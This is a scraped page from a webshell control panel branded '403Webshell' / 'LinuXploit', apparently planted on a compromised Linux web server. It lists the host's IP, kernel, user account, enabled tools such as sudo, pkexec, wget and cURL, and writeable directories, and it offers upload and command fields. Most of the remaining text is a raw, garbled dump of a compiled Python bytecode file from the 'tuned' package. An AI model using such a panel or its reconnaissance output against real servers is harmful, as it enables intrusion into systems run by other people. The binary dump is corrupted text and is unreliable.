403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/tuned/profiles/functions/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/tuned/profiles/functions/__pycache__/function_assertion.cpython-39.pyc
a

,�g��@sTddlZddlZddlmZddlmZddlmZej	�
�ZGdd�dej�Z
dS)�N�)�base)�commands)�InvalidProfileExceptioncs,eZdZdZ�fdd�Z�fdd�Z�ZS)�	assertionz�
	Assertion: compares argument 2 with argument 3. If they don't match
	it logs text from argument 1 and  throws InvalidProfileException. This
	exception will abort profile loading.
	cstt|��ddd�dS)Nr�)�superr�__init__)�self��	__class__��O/usr/lib/python3.9/site-packages/tuned/profiles/functions/function_assertion.pyr	szassertion.__init__csXtt|��|�sdS|d|dkrTt�d|d|d|df�td|d��dS)Nr�z#assertion '%s' failed: '%s' != '%s'rzAssertion '%s' failed.)rr�execute�log�errorr)r
�argsrr
rrs zassertion.execute)�__name__�
__module__�__qualname__�__doc__r	r�
__classcell__r
r
rrr	sr)�osZ
tuned.logsZtuned�rZtuned.utils.commandsrZtuned.profiles.exceptionsrZlogs�getrZFunctionrr
r
r
r�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit